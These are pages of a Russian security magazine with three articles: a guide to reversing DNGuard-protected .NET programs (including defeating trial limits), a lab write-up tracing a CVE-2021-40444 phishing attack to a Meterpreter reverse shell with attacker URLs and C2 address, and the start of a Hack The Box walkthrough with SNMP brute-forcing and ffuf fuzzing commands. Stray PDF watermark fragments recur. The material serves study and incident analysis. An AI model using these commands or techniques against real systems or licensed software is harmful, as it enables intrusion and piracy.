 

 

 

 

 

-x ha

 

 

 

 

РЕВЕРСИМ ПРИЛОЖЕНИЕ, ЗАЩИЩЕННОЕ DNGUARD

Фантазия

разработчиков,

желающих

 

защитить свою программу, порой не знает

 

границ. Частенько им мало одного

 

навешенного на софтину протектора, и они,

 

как монашка из известного

анекдота,

МВК

натягивают их несколько штук последова-

 

тельно. Порой тем же самым грешат и сами

 

разработчики средств защиты. Случай

 

подобного

симбиоза

IL-обфускатора

 

с VMProtect мы и рассмотрим в сегодняшней статье.

.NET-обфускатор DNGuard HVM существует довольно долгое время, за которое он успел обзавестись изрядным количеством фич (антиотладка

иантидамп, тотальное шифрование всей информации в модуле и весьма успешное противодействие статическому и динамическому анализу). Несмотря на широкую известность и неплохую изученность (в свое время CodeCracker запилил множество распаковщиков под разные версии DNGuard

исопутствующих фреймворков), последние несколько лет средства анализа

ираспаковки для актуальных версий этого обфускатора напрочь отсутствуют. Вплоть до того, что популярные инструменты (и даже Detect It Easy) до сих пор не научились их даже детектировать. Поэтому, надеюсь, сегодняшняя статья поможет читателю разобраться, как распознать эту заразу и бороться с ней подручными средствами.

Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.

Итак, предположим, что в твои загребущие руки попала сборка, защищенная DNGuard. Есть два варианта. Первый: нам повезло, и это одна из старых изученных версий, тогда все ясно и можно смело пользоваться одним из дам-

перов DNGuard_HVM_Unpacker от CodeCracker. Возможно, я когда-нибудь и расскажу об особенностях и даже принципах работы этих утилит. Однако DNGuard совершенствуется стремительно, а проект, судя по всему, давно заброшен: последняя версия поддерживаемого фреймворка была 4.2, а физическая привязка к конкретным файлам библиотек настолько сильна, что делает использование данных наработок малополезным в деобфускации новых версий.

Поэтому сразу переходим к более грустному варианту. Как я уже писал выше, хоть актуальные версии и не детектятся, однако сильно и не скрываются. В рабочем каталоге программы сразу бросается в глаза библиотека runtime.dll (или со схожим названием), с навешенным на ней VMProtect на минималках.

Внутри библиотеки обнаруживаются две экспортируемые функции:

VMRuntime и GetUserString (или ResolveString).

Еще одна характерная черта — VMProtect’овская секция hvm0, из-за которой этот обфускатор, насколько я понимаю, и получил такое название.

Впрочем, наличие этой библиотеки в каталоге в явном виде вовсе необязательно, самые последние версии научились держать ее в зашифрованном виде в теле основной программы, рожая ее при загрузке в системные временные каталоги типа Temp или ProgramData. Cама программа, защищенная этим обфускатором, тоже выглядит достаточно характерным образом при загрузке в отладчик вроде dnSpy.

Как видно,

для стартап-кода программы

характерно наличие

класса

с методами

CheckRuntime, CheckString,

GetUserString и так

далее

и импортом упомянутых выше функций из библиотеки Runtime.dll. Так же как и во всех серьезных обфускаторах, о которых я писал в предыдущих статьях, названия остальных классов, методов, строк и ресурсов жестко пошиф- рованы, а тела методов пусты или содержат вызов исключения «Error, DNGuard Runtime library not loaded!» (причем даже эта строка может быть зашифрована).

Собственно, если попробовать запустить такое приложение из отладчика, максимум, что мы сможем увидеть, — это инициализация стартап-кода DNGuard до нативного вызова VMRuntime, после чего тот перехватывает на себя JIT-компилятор и мы прощаемся с отладчиком, словив подобное исключение.

Попытка приаттачиться к запущенному процессу тоже не дает полезного результата, так же как и дамп его всеми известными дамперами. Поэтому закрываем dnSpy и начинаем вспоминать матчасть, в том числе информацию, изложенную в моей статье «Реверсинг .NET. Как искать JIT-компилятор в приложениях».

Для тех, кто не читал статью, напомню ее суть в двух словах. Как известно, любая .NET-сборка устроена следующим образом: кросс-платформенный ILкод хранится в специальных метаданных, из которых подгружается по мере исполнения каждого метода и компилируется в нативный код специальной функцией. Указатель на нее возвращает функция GetGit библиотеки clrjit. dll, однако фреймворк любезно предоставляет пользователю самому устанавливать адрес на компилятор, чем беззастенчиво пользуются создатели всевозможных обфускаторов, подменяя ее своими процедурами расшифровки IL-кода.

Таким же образом можно менять на свои функции загрузки строк, ресурсов и так далее. В частности, функцию Module::ResolveStringRef( unsigned long,class BaseDomain *,bool), которая возвращает указатель на запрашиваемый строковый литерал. По счастью, ни один даже самый продвинутый обфускатор не может полностью подменить собой .NET-фрей- мворк с JIT-компиляцией, хотя бы из соображений системной совместимости. Поэтому, несмотря на все подмены, управление все равно в итоге передается на оригинальные обработчики. Более того, библиотека mscorlib.ni.dll предоставляет массу возможностей для работы с низкоуровневыми объектами (файлы, даты, строки, словари и прочее), через которые можно отслеживать логику работы программы уже из откомпилированного исполняемого нативного кода.

Все это избавляет нас от необходимости прошибать головой железобетонную стену девиртуализации VMProtect, анализируя «изнутри» в нашем любимом x64dbg уже расшифрованные библиотекой runtime.dll код и строки. Попробуем рассмотреть использование описанного метода на примерах.

Допустим, нам для начала интересно определить, какие строковые константы были загружены и использованы на определенном участке работы программы. Загружаем программу в отладчик x32dbg и идем на вкладку «Отладочные символы». В списке загруженных библиотек справа находим clr.dll, жмем на правую кнопку мыши и загружаем отладочные символы для этого модуля.

В списке отладочных символов находим символ public: struct OBJECTHANDLE__ * __thiscall Module::ResolveStringRef(unsigned long,class BaseDomain *,bool) и ставим на него точку останова. Запускаем программу и тормозимся на этой точке. Пока ничего интересного, она вызвана из изгаженного VMProtect’oвской виртуализацией кода runtime. dll. Запускаем выполнение до возврата из библиотеки. На выходе уже интереснее — в EAX появилась ссылка на указатель на расшифрованную строку.

Убираем точку останова на входе ResolveStringRef и переносим ее на выход, добавив печать возвращаемой строки.

Запускаем программу и — бинго! — имеем в журнале отладчика полный список загруженных и расшифрованных в процессе работы приложения строковых констант. Теперь нам надо найти сравнение, после которого выполнение программы идет по нужной нам ветке. Для этого точно так же загружаем отладочные символы уже для библиотеки mscorlib.ni.dll. Мы обнаруживаем удивительное множество нативных методов для низкоуровневой работы со строками. Например, самые полезные из них.

Сравнить две строки:

mscorlib.ni.dll.System.String.Compare(System.String, System.String,

Boolean)

Cклеить две строки:

mscorlib.ni.dll.System.String.Concat(System.String, System.String)

Загрузить строку из символьного массива:

mscorlib.ni.dll.System.String.CtorCharArray(Char[])

Загрузить строку по указателю на символьный массив:

mscorlib.ni.dll.System.String.CtorCharPtr(Char*)

Сравнить две строки:

mscorlib.ni.dll.System.String.Equals(System.String, System.String)

Присвоить строку:

mscorlib.ni.dll.System.String.Intern(System.String)

Вернуть подстроку:

mscorlib.ni.dll.System.String.Substring(Int32, Int32)

Загрузить символьный массив из строки:

mscorlib.ni.dll.System.String.ToCharArray()

Преобразовать строку в нижний регистр:

mscorlib.ni.dll.System.String.ToLower()

Ставя условные точки останова на эти функции с промежуточными печатями параметров, мы получаем в журнале совершенно прозрачный лог работы программы со строками, в котором без труда находим искомые проверки. Таким же методом можно воспользоваться, например, чтобы отучить программу от триала, ведь низкоуровневые операции с классом DateTime сидят в этом же модуле.

Сравнить временные промежутки:

mscorlib.ni.dll.System.DateTimeOffset.CompareTo(System.

DateTimeOffset)

Сложить временные промежутки:

mscorlib.ni.dll.System.DateTimeOffset.op_Addition(System.

DateTimeOffset, System.TimeSpan)

Вычесть из времени:

mscorlib.ni.dll.System.DateTime.Subtract(System.TimeSpan)

Добавить ко времени:

mscorlib.ni.dll.System.DateTime.op_Addition(System.DateTime, System.

TimeSpan)

Позже?

mscorlib.ni.dll.System.DateTime.op_GreaterThan(System.DateTime,

System.DateTime)

Раньше?

mscorlib.ni.dll.System.DateTime.op_LessThan(System.DateTime, System.

DateTime)

Одновременно?

mscorlib.ni.dll.System.DateTime.op_Equality(System.DateTime, System.

DateTime)

Отследив нужное сравнение и подобрав для него подходящее условие, можно даже не заботиться о том, как именно и куда скомпилировался IL код, — при работе в отладчике управление все равно придет в это место и остановится в нужный момент.

Итак, мы разобрались, какую проверку и на что нужно менять, но что делать дальше? Мы же не можем каждый раз запускать программу в отладчике, чтобы руками подсказывать ей, как дальше работать. По сути, мы не знаем даже названия класса и метода, в котором происходит проверка. Да даже если бы и знали, толку все равно мало — код по-взрослому зашифрован,

адекриптор виртуализирован самим VMProtect’ом, пускай на минималках.

Вподобных случаях, как я уже писал, можно сурово идти до конца, как делал в свое время CodeCracer, и, полностью или частично пробившись сквозь виртуализированный код, написать свой деобфускатор. Или же пойти по более легкому пути, создав лоадер, патчащий IL-код в момент, когда он уже расшифрован и подается на вход JIT-компилятора. Суть этих двух способов я объяснял в статье, поэтому не буду повторяться, а в заключение просто приведу несколько советов и предложений, как реализовать эти идеи.

В принципе, можно взять за основу восстановленный код дампера от DNGuard_HVM_Unpacker, но мы не будем этого делать, потому что этот дампер сильно привязан к изрядно устаревшим версиям фреймворка, о чем я уже говорил. Поэтому читаем статью Даниеля Пистелли, в которой матчасть описана гораздо толковее, чем у меня. И берем за основу используемые в ней примеры готового кода.

Не буду их дублировать, чтобы не перегружать собственный текст, просто обрисую принцип в двух словах. Есть загрузчик обфусцированной программы на C# (rbloader), который делает инъекцию кода, содержащегося в нативной библиотеке. К статье прилагаются примеры проектов инъекторов, которые демонстрируют реальные имена компилируемых классов и методов исполняемой программы, и даже выполняется дизассемблирование их расшифрованного IL-кода.

Конечно, эта статья тоже устарела, и приведенный там код требует допиливания под современные фреймворки. К примеру, используемая для получения реального адреса JIT-компилятора функция getJit сейчас содержится не в упоминаемой там библиотеке mscorjit.dll, а в библиотеке clrjit.dll. Но это мелочи, вполне преодолимые, если не замахиваться сразу на создание полного декомпилятора или дампера, а начать с простых, но полезных вещей.

Например, можно решить проблему привязки исполняемого в данный момент откомпилированного нативного кода к конкретному классу и методу. Скажем, в качестве идентификации метода можно использовать токен ftn (первое слово структуры CORINFO_METHOD_INFO, подаваемой на вход JITкомпилятору, — это указатель на него CORINFO_METHOD_HANDLE). Не знаю, задокументировано это или нет, но CORINFO_METHOD_HANDLE находится непосредственно перед скомпилированным в натив методом.

Поставив условную точку останова на JIT-компилятор c логированием, можно через ftn привязать расшифрованный IL-код к откомпилированному нативному коду метода, однако его имя и имя его класса на момент компиляции из отладчика получить затруднительно. Халтурный способ, предложенный мной в предыдущей статье, здесь не работает.

Вот тут нам и пригодится загрузчик с инъектором Даниеля Пистелли. Из кода, инъектируемого в CompileMethod, получить имя компилируемого метода и его класса не просто, а очень просто. Более того, прямо в тело обработчика можно встроить автопатч свежерасшифрованного IL-кода метода.

Хочу добавить напоследок, что все описанное выше работает не только для DNGuard, но и для любого другого зловредного инструмента, использующего подобные принципы обфускации. Надеюсь, мне представится возможность продемонстрировать это в одной из следующих статей.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

w Click

 

BUY

o m

ВЗЛОМ

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

Иногда после хакерской атаки исследователям остается несколько скомпрометированных компьютеров и дамп сетевого трафика, исследуя который можно попытаться восстановить хронологию событий. Именно эту ситуацию эмулирует лабораторная работа BSidesJeddah-Part1 с ресурса CyberDefenders, решение которой мы сегодня подробно разберем. Мы научимся анализировать сетевой трафик, извлекать артефакты и восстановим картину взлома.

rayhunt454 grigadan454@gmail.com

По сценарию хакерская группировка использовала целевой фишинг

иполучила доступ к информационному ресурсу организации. Наша задача — расследовать инцидент и восстановить его сценарий.

По результатам необходимо ответить на вопросы, но я покажу лишь сам процесс решения. Ты сможешь повторить его самостоятельно, чтобы лучше разобраться и закрепить материал.

Для начала загрузим файл архива с артефактами и приступим к их исследованию. В архиве сохранен сетевой трафик скомпрометированного хоста

иправила Suricata.

ИСПОЛЬЗУЕМЫЕ УТИЛИТЫ

1.Wireshark — анализатор сетевых протоколов.

2.Brim — анализатор сетевого трафика.

3.Oleid — утилита для анализа OLE-файлов.

4.Scdbg — утилита для анализа шелл-кода, построенная на основе библиотеки для эмуляции libemu.

5.IDA Pro — интерактивный дизассемблер, используемый для реверс-инжи- ниринга.

АНАЛИЗ СЕТЕВОГО ТРАФИКА

Приступим к анализу сетевого трафика. Исследовать дамп мы будем в программе Wireshark. Загрузим файл из архива, для этого перейдем на вкладку «Файл → Открыть».

Анализируя пакеты сетевого дампа, можно заметить, что, начиная с пакета 56, идут множественные TCP-обращения к различным портам с IP-

адреса 192.168.112.128.

Множественные сетевые соединения

Злоумышленник с IP-адреса 192.168.112.128 сканирует порты сетевого ресурса 192.168.112.139, чтобы найти открытые. Рассмотрим этот процесс более детально.

Процесс TCP-сканирования

На рисунке выше представлено трехстороннее TCP-соединение между сетевыми адресами 192.168.112.128 и 192.168.112.139 по порту 25.

Как работает TCP-рукопожатие, описано в базе знаний Storm Wall, описание флагов TCP-пакетов можно найти на сайте Geeksforgeeks.

Поиск открытого порта при TCP-сканировании происходит следующим образом. Источник 192.168.112.128 отправил SYN-пакет получателю 192.168.112.139. Получатель ответил TCP-флагами SYN и ACK (соединение установлено). Далее источник отправляет ACK-пакет и следом завершает соединение флагом RST. Это свидетельствует о том, что порт 25 ресурса 192.168.112.139 открыт. В случае закрытого порта после SYN-пакета получатель отправляет RST-, ACK-флаги пакета TCP.

Рассмотрим TCP-пакет с флагами SYN и ACK. Для этого откроем его, нажмем на него дважды, а затем раскроем вкладку Transmision Control Protocol и вкладку Flags.

Флаги SYN и ACK пакета TCP

Мы выяснили, что при открытом порте источник сканирования отправляет пакет с флагами SYN и ACK. Найдем эти пакеты и выясним количество открытых портов на атакуемой машине, для этого отфильтруем сетевой трафик.

В поле «Дисплейный фильтр» утилиты Wireshark вводим следующие данные:

tcp.flags == 0x12

 

Отфильтрованные пакеты сетевого дампа

 

 

 

 

 

 

 

Проанализировав дамп сетевого

трафика, мы выяснили

следующее.

1 октября 2021 года в

12:31 злоумышленник

с IP-адре-

сом 192.168.112.128 начал сканировать сетевой ресурс 192.168.112.139. MAC-адрес атакуемой машины — 00:0C:29:B7:CA:91. В результате сканирования выяснилось, что на атакуемой машине открыты семь портов: 25, 110, 135, 139, 143, 445, 587.

Рассмотрим дальнейшие действия злоумышленника, продолжив анализировать дамп сетевого трафика.

В 12:31:54 злоумышленник отправляет электронное сообщение на сервер SMTP (25-й порт сетевого ресурса 192.168.112.139). Начиная с пакета 2645, можно увидеть взаимодействие по протоколу SMTP (порт 25), полный список команд протокола приведен в блоге.

Построим TCP-поток и разберем команды протокола SMTP и заголовок сообщения, для этого нажмем правой кнопкой мыши надпись «Следовать» и выберем в контекстном меню пункт «Поток TCP». Номер TCP-потока с SMTP-взаимодействием — 1183.

SMTP-взаимодействие

Команда EHLO используется для представления клиента серверу SMTP. Имя клиента — kali, сервер возвращает статус 250, соединение установлено успешно.

Поле MAIL FROM указывает отправителя сообщения: support@cyberdefenders.org, значение RPCT TO определяет получателя сообщения: joshua@cyberdefenders.org. Далее идет команда DATA,

которая используется для передачи информационной части сообщения. Рассмотрим заголовок сообщения. В заголовке Date указаны дата и время отправки письма: 12:31:54 1 октября 2021 года. В заголовке X-Mailer — программное обеспечение, с помощью которого злоумышленник отправил сообщение: sendMail версии 1.56.

Содержимое письма

После заголовка письма идет его содержимое. Злоумышленник отправил файл с названием web server.docx. Пользователь joshua@cyberdefenders.org получил это сообщение, загрузил вложение и открыл его.

Выгрузим почтовое вложение, для этого скопируем закодированные данные, декодируем их из Base64 и сохраним в файл web server.docx.

Получим MD5-хеш исследуемого файла:

55e7660d9b21ba07fc34630d49445030 — и проверим его на VirusTotal. Сог-

ласно отчету сервиса, документ содержит эксплоит CVE-2021-40444. Эта уязвимость позволяет выполнять вредоносный код, используя MSHTML (браузерный движок Internet Explorer). Суть эксплуатации заключается в том, что в документ MS O ce встраивается ссылка на вредоносный скрипт, который запускается с использованием MSHTML. Это, в свою очередь, приводит к загрузке CAB-файла, в котором содержится DLL-файл с расширением .inf.

Цепочка выполнения эксплоита выглядит следующим образом:

1.Пользователь открывает вредоносный документ .docx.

2.Объект external relationship, хранящийся в document.xml.rels,

указывает на удаленный вредоносный HTML-файл.

3.Предварительный просмотр Internet Explorer открывает HTML-ссылку.

4.JScript в HTML содержит объект, указывающий на CAB-файл, и iframe, указывающий на INF-файл с префиксом директивы .cpl:.

5.После открытия CAB-файла INF-файл перемещается в каталог, указанный злоумышленником.

6.Из-за уязвимости обхода пути (Zip Slip) в CAB можно сохранить INF по пути

%TEMP%.

7.Затем INF-файл открывается с помощью директивы .cpl:, что вызывает боковую загрузку INF-файла через rundll32 (если это DLL).

Исследуем вредоносный документ, найдем вредоносную ссылку на HTMLфайл.

С помощью утилиты oleid получим информацию о документе MS O ce.

oleid webserver.docx

Вывод утилиты oleid

Определим External Relationships в документе, добавим к имени файла рас-

ширение .zip и найдем файл word _rels document.xml.rels.

Содержимое файла document.xml.rels

Идентификатор внешнего объекта — rId6, ссылка на HTML-файл выглядит следующим образом:

http://192.168.112.128/word.html

Теперь найдем подробную информацию о внешнем отношении с идентификатором rId6, для этого перейдем к файлу word document.xml.

Информация о внешнем отношении с идентификатором rId6

LinkType OLE-объекта — EnhancedMetaFile, это расширенный формат метафайла.

Продолжим анализировать сетевой трафик. Теперь найдем в дампе участок, в котором загружается файл word.html.

Начиная с пакета 2946 (TCP-поток 1211), устанавливается соединение с внешней ссылкой http://192.168.112.128/word.html, в поле UserAgent HTTP-заголовка указана программа, с помощью которой осуществлен доступ по ссылке. На атакуемом компьютере установлен Microsoft O ce Word 2013 версии 15.0.4517.

Метод OPTIONS от приложения MS O ce Word

Двигаемся дальше по TCP-потокам. В потоке 1213 обнаружен GET-запрос к вредоносному серверу, в ответе которого возвращается HTML-документ с кодом JavaScript.

Загружаемый JavaScript-код

Сервер вернул HTML-документ, который содержит вредоносный обфусци-

рованный JavaScript.

Содержимое word.html

Код сильно обфусцирован, но в нем все же можно найти ссылку для загрузки файла .cab. В переменной a0_0x12f содержится ссылка http://192.168. 112.128/word.cab. Далее вредоносный код загружает CAB-архив, извлекает из него файл msword.infl, используя уязвимость Zip Slip (атаку обхода пути), и сохраняет файл в такой каталог:

C:\Users\IEUser\AppData\Local\Temp\msword.inf

Затем запускает этот файл.

Выгрузим этот документ из сетевого трафика.

Содержимое CAB-архива

Сохраним файл как word.cab и проанализируем его. Для начала извлечем DLL-нагрузку из CAB-файла.

MD5-хеш DLL-файла2d7972ec8f063348991490c3d15ce989,

по информации VirusTotal этот файл является нагрузкой Meterpreter и соз-

дается в Metasploit.

Загрузим DLL-файл в IDA Pro, декомпилируем код и проанализируем его.

Псевдокод DLL-файла

В переменной unk_10003000 содержится шелл-код, который записывается в память процесса с помощью WinAPI-функции WriteProcessMemory. В функции CreateProcessA создается процесс rundll32.exe (содержимое переменной CommandLine).

Выгрузим шелл-код, сохраним в файл shell и с помощью утилиты scdbg посмотрим его содержимое.

scdbg /f shell

Содержимое шелл-кода

Адрес управляющего сервера — 192.168.112.128, порт 443. Загружаемая библиотека для сетевого взаимодействия — wininet. Найдем участок взаимодействия с управляющим сервером в сетевом трафике.

Взаимодействие с управляющим сервером

Мы определили сетевой адрес атакующего, выяснили, что после сканирования сетевого ресурса 192.168.112.139 злоумышленник отправил вредоносное письмо пользователю joshua@cyberdefenders.org с вредоносным вложением web server.docx. Пользователь открыл этот документ, после чего на его компьютере установилась обратная оболочка Meterpreter ути-

литы Metasploit.

Теперь проанализируем сетевой трафик и ответим на вопросы задания. Отфильтруем пакеты по протоколу DNS. В поле фильтра укажем этот протокол.

Пакеты DNS

В отфильтрованном трафике можно увидеть DNS-запросы к компьютеру 192.168.112.2 — DNS-серверу организации. В пакете 5648 выполняется запрос к доменному имени omextemplates.content.office.net.

Найдем пакет 4085, в котором устанавливается TLS-соединение с узлом v10.vortex-win.data.microsoft.com.

Содержимое пакета 4085

Нам известен сетевой адрес атакуемой машины 192.168.112.139 и MACадрес сетевой карты 00:0c:29:61:f9:84. Перейдем на https:// macaddress.io/, чтобы узнать производителя этого устройства.

Производитель сетевой карты

Адрес компании производителя — 3401 Hillview Avenue Palo Alto CA 94304 US.

Найдем публичный ключ в сеансе TLS, для этого нажмем Ctrl + F в Wireshark и наберем представленный в задании идентификатор сессии.

Поиск публичного ключа TLS-сессии

Публичный ключ TLS-сессии:

64089e29f386356f1ffbd64d7056ca0f1d489a09cd7ebda630f2b7394e319406

Мы ответили на вопросы задания, а также научились фильтровать и анализировать сетевой дамп.

Проанализируем сетевой трафик с помощью системы обнаружения вторжений Suricata, чтобы детектировать вредоносную активность и обнаружить компьютерную атаку. Воспользуемся утилитой Brim, в которой установлен движок Suricata.

Вархиве задания присутствуют правила suricata.rules. Загрузим их

вследующий каталог:

%AppData%\Local\Programs\brim\resources\app.asar.unpacked\zdeps\

suricata\var\lib\suricata\rules

И запустим Brim. В поле фильтра введем следующие данные для поиска правил срабатывания:

event_type=="alert" | alerts := union(alert.category) by src_ip,

dest_ip,alert.signature | sort alerts

Список Suricata alert

Проанализировав данный пакет, можно увидеть, что правило «эксплуатация уязвимости CVE-2020-11899» определено ошибочно.

ВЫВОДЫ

Мы провели расследование инцидента и восстановили картину атаки. Злоумышленник с сетевого адреса 192.168.112.128 в 12:31 1 октября 2021 года просканировал узел 192.168.112.139, на котором открыты семь портов. Затем он отправил сообщение пользователю joshua@cyberdefenders.org с вложением web server.docx, в котором содержится эксплоит CVE-2021- 40444. Пользователь открыл этот документ, и на его компьютере установилась Meterpreter-нагрузка с управляющим сервером 192.168.112.128, порт 443.

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ИЗВЛЕКАЕМ ИНФОРМАЦИЮ ИЗ SNMP И ПЕНТЕСТИМ API ВЕБ-СЕРВИСА

В этом райтапе я покажу, как работать со службой SNMP, чтобы получить информацию, которая поможет в продвижении атаки. Также мы взломаем сайт и получим RCE благодаря уязвимости в API.

RalfHacker hackerralf8@gmail.com

Наша цель — захват учебной машины Mentor с площадки Hack The Box. Уровень сложности — средний.

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

РАЗВЕДКА Сканирование портов

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.193 mentor.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |

tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта

Скрипт нашел два открытых порта: 22 — служба OpenSSH 8.9p1 и 80 — веб-сервер Apache 2.4.52. На порте 80 также отмечаем редирект на сайт http://mentorquotes.htb/. Так как мы раскрыли новый домен, добавляем и его в файл /etc/hosts.

10.10.11.193 mentor.htb mentorquotes.htb

Также всегда стоит проверять четыре порта UDP, где может работать служба

SNMP.

sudo nmap -p161,162,10161,10162 -sU 10.10.11.193

Результат сканирования портов UDP

И мы видим, что SNMP работает на порте 161. SNMP — это протокол прикладного уровня, он делает возможным обмен данными между сетевыми устройствами. Протокол позволяет системному администратору проводить мониторинг, контролировать производительность сети и изменять конфигурацию подключенных устройств.

В SNMP используется модель безопасности сommunity-based (на основе строки сообщества). Фактически это идентификатор пользователя или пароль, который отправляется вместе с запросом. Если строка сообщества неверна, агент игнорирует запрос. Давай попробуем пробрутить эти community-строки сканером onesixtyone.

onesixtyone -c snmp_default_pass.txt 10.10.11.193

Результат перебора community-строк

Нашли только дефолтную строку public, ничего полезного она нам не дала.

ТОЧКА ВХОДА Сканирование SNMP

У меня бывали случаи, когда популярные средства сканирования комьюни- ти-строк ничего не находили, а строки все же существовали. По этой причине следующим скриптом пробуем запросить базовую информацию с помощью snmpbulkwalk по каждой строке из словаря. В итоге раскрываем еще одну комьюнити-строку internal.

while read line; do

echo $line ; snmpbulkwalk -c $line -v2c 10.10.11.193 . 2>/dev/

null | head -n 1

done < /usr/share/metasploit-framework/data/wordlists/snmp_default_

pass.txt

Результат выполнения скрипта

Говоря о SNMP, стоит упомянуть MIB. MIB — это иерархическая база данных со сведениями об устройстве. У каждого типа устройства своя MIB-таблица: у принтера в ней содержится информация о состоянии картриджей, а у коммутатора — данные о трафике. Благодаря MIB сетевой менеджер знает, какую информацию он может запросить у агента устройства.

Каждый объект в MIB имеет свой уникальный ID — OID, который представлен в числовом формате и имеет иерархическую структуру. OID — это числовой эквивалент пути к файлу. Он присваивает значения каждой таблице в MIB, каждому столбцу в таблице и каждому значению в столбце.

Так, по OID 1.3.6.1.2.1.25.4.2.1.2 мы можем запросить процессы на сетевом устройстве.

snmpbulkwalk -c internal -v2c 10.10.11.193 1.3.6.1.2.1.25.4.2.1.2

Процессы на удаленном хосте

Видим, что запущены скрипты login.sh и login.py, а также процесс docker-proxy. У каждого процесса есть так называемая cmdline — полная команда со всеми параметрами, которая передается исполняемой командной оболочке. Запросить их можно по OID 1.3.6.1.2.1.25.4.2.1.5.

snmpbulkwalk -c internal -v2c 10.10.11.193 1.3.6.1.2.1.25.4.2.1.5

Полные команды процессов, запущенных на хосте

В результате получаем какую-то интересную строку, передаваемую процессу login.py. Возможно, это пароль. Переходим к серверу.

Сканирование веб-сервера

На сервере расположен сайт-визитка, ничего интересного найти не получилось.

Главная страница сайта

Так как мы знаем реальный домен, попробуем найти другие сайты, для чего будем сканировать поддомены. Для этого я использую легковесную утилиту

uf.

Одно из первых действий при тестировании безопасности веб-приложе- ния — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.

Я предпочитаю легкий и очень быстрый uf. При запуске указываем следующие параметры:

-w — словарь (я использую словари из набора SecLists);

-t — количество потоков;

-u — URL;

-H — заголовок HTTP.

Место перебора помечается словом FUZZ.

Команда получается следующая:

ffuf -u http://mentorquotes.htb -w subdomains-top1million-110000.txt

-t 256 -H 'Host: FUZZ.mentorquotes.htb'

Результат сканирования подкаталогов с помощью uf

В результат сканирования попадают все варианты из списка, поэтому нужно использовать фильтры (я фильтровал по коду ответа):

-fc — исключить из вывода код ответа;

-mc — выводить ответы, кроме тех, что в параметре fc.

ffuf -u http://mentorquotes.htb -w subdomains-top1million-110000.txt

-t 256 -H 'Host: FUZZ.mentorquotes.htb' -fc 302 -mc all

Результат сканирования подкаталогов с помощью uf

И находим новый сайт на поддомене api. Добавляем его в файл /etc/hosts.

10.10.11.193 mentor.htb mentorquotes.htb api.mentorquotes.htb

Главная страница api.mentorquotes.htb

Теперь просканируем конечные точки API. Используем все тот же ffuf.

ffuf -u http://api.mentorquotes.htb/FUZZ -w directory_2.3_medium_

lowercase.txt -t 256

Результат сканирования каталогов с помощью uf

Из полученного списка точек доступны только /docs и /redoc.

Страница /docs

Страница /redoc

На странице видим почтовый адрес пользователя james.

Продолжение статьи

Соседние файлы в папке журнал хакер